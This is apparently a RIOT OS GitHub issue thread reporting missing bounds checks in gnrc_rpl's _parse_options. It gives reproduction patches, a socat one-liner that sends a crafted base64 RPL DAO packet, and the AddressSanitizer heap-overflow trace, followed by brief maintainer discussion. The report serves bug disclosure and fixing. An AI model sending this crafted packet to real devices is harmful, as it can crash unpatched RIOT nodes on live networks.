gnrc_rpl: missing bounds checks in _parse_options

[nmeum]

Description

The implementation of _parse_options in gnrc_rpl has a problem very similar to the one described in #16062: It casts packed structs without performing prior boundary checks. I think the loop code is in fact more or less a copy of the one in gnrc_rpl_validation_options, thus a fix very similar to #16081 will be needed for it too.

Consider for example the following code:

RIOT/sys/net/gnrc/routing/rpl/gnrc_rpl_control_messages.c

Line 619 in 896e44c

gnrc_rpl_opt_target_t *target = (gnrc_rpl_opt_target_t *) opt;

In this case it might be the case that len < sizeof(gnrc_rpl_opt_target_t), however this case is not covered by the implementation currently. There are also other casts to packed structs in this function which have the same issue.

Steps to reproduce the issue

Use examples/gnrc_networking, activate gnrc_pktbuf_malloc and set CONFIG_GNRC_RPL_DEFAULT_NETIF to your netif (check with ifconfig in the shell provided by gnrc_networking) mine is 6:

diff --git a/examples/gnrc_networking/Makefile b/examples/gnrc_networking/Makefile
index bf76931305..15132894c1 100644
--- a/examples/gnrc_networking/Makefile
+++ b/examples/gnrc_networking/Makefile
@@ -31,6 +31,9 @@ USEMODULE += netstats_l2
 USEMODULE += netstats_ipv6
 USEMODULE += netstats_rpl
 
+USEMODULE += gnrc_pktbuf_malloc
+CFLAGS += -DCONFIG_GNRC_RPL_DEFAULT_NETIF=6
+
 # Optionally include DNS support. This includes resolution of names at an
 # upstream DNS server and the handling of RDNSS options in Router Advertisements
 # to auto-configure that upstream DNS server.

I was also a bit too lazy to figure out how I can add an ULA to a BOARD=native network interface, to work around that I just made sure that gnrc_rpl uses the first available networking interface for DODAGs with the following patch (if you know how to configure a non-local address on a BOARD=native network interface please let me know):

diff --git a/sys/net/gnrc/routing/rpl/gnrc_rpl_dodag.c b/sys/net/gnrc/routing/rpl/gnrc_rpl_dodag.c
index 8b5e389c41..5f889c16eb 100644
--- a/sys/net/gnrc/routing/rpl/gnrc_rpl_dodag.c
+++ b/sys/net/gnrc/routing/rpl/gnrc_rpl_dodag.c
@@ -388,7 +388,7 @@ gnrc_rpl_instance_t *gnrc_rpl_root_instance_init(uint8_t instance_id, ipv6_addr_
         return NULL;
     }
 
-    if ((netif = gnrc_netif_get_by_ipv6_addr(dodag_id)) == NULL) {
+    if ((netif = gnrc_netif_iter(NULL)) == NULL) {
         DEBUG("RPL: no IPv6 address configured to match the given dodag id: %s\n",
               ipv6_addr_to_str(addr_str, dodag_id, sizeof(addr_str)));
         return NULL

Note: If you don't want to apply this patch, it should also be possible to reproduce this issue by adding a non-local IPv6 address to your network interface and passing that address to the rpl root command below.

Compile and run the application using:

$ make -C examples/gnrc_networking all-asan
$ make -C examples/gnrc_networking term

In the RIOT term initialize the RPL root instance with the following command (the address passed to rpl root doesn't matter due to the patch from above):

> rpl root 0 fd12:3456:789a:1::1

Afterwards run socat as:

# printf 'mwIAJwCmCwIFCQNzAT0AXgFWAQ==' | base64 -d | socat -u STDIN IP6-SENDTO:[<LL address>%tap0]:58

Expected results

The application shouldn't crash.

Actual results

=================================================================
==30751==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5100173 at pc 0xf7a14f44 bp 0x5662e818 sp 0x5662e3f0
READ of size 16 at 0xf5100173 thread T0
    #0 0xf7a14f43  (/lib32/libasan.so.5+0xb9f43)
    #1 0x565a5a98 in ipv6_addr_is_unspecified /root/RIOT/sys/include/net/ipv6/addr.h:324
    #2 0x565a610a in gnrc_ipv6_nib_ft_del /root/RIOT/sys/net/gnrc/network_layer/ipv6/nib/nib_ft.c:90
    #3 0x565c3696 in _parse_options /root/RIOT/sys/net/gnrc/routing/rpl/gnrc_rpl_control_messages.c:628
    #4 0x565c6ff2 in gnrc_rpl_recv_DAO /root/RIOT/sys/net/gnrc/routing/rpl/gnrc_rpl_control_messages.c:1196
    #5 0x565bc7f2 in _receive /root/RIOT/sys/net/gnrc/routing/rpl/gnrc_rpl.c:190
    #6 0x565bd3b4 in _event_loop /root/RIOT/sys/net/gnrc/routing/rpl/gnrc_rpl.c:312
    #7 0xf76b253a in makecontext (/lib/i386-linux-gnu/libc.so.6+0x4153a)

0xf5100173 is located 0 bytes to the right of 19-byte region [0xf5100160,0xf5100173)
allocated by thread T0 here:
    #0 0xf7a465d4 in __interceptor_malloc (/lib32/libasan.so.5+0xeb5d4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/lib32/libasan.so.5+0xb9f43) 
Shadow bytes around the buggy address:
  0x3ea1ffd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ea1ffe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ea1fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3ea20000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3ea20010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3ea20020: fa fa fa fa fa fa fa fa fa fa fa fa 00 00[03]fa
  0x3ea20030: fa fa 00 00 04 fa fa fa 00 00 04 fa fa fa 00 00
  0x3ea20040: 04 fa fa fa fd fd fd fa fa fa 00 00 04 fa fa fa
  0x3ea20050: 00 00 00 00 fa fa 00 00 04 fa fa fa fd fd fd fa
  0x3ea20060: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x3ea20070: fd fa fa fa fd fd fd fa fa fa 00 00 00 00 fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30751==ABORTING
make: *** [/root/RIOT/examples/gnrc_networking/../../Makefile.include:729: term] Error 1
make: Leaving directory '/root/RIOT/examples/gnrc_networking'

CC: @cgundogan

[cgundogan]

Hmm, splitting the validation from the actual parsing seemed sensible back then (to optionally reduce ROM usage). But as the checking gets more complicated now, I think of completely removing the "optional validation" and make it mandatory to have a single processing loop.

[nmeum]

Yeah, I think that would be wise.

[nmeum]

Any progress on this? Let me know if I can be of assistance :)

[cgundogan]

Any progress on this? Let me know if I can be of assistance :)

I couldn't find the time to further look into it .. if you want to give it a try then I'd appreciate this :)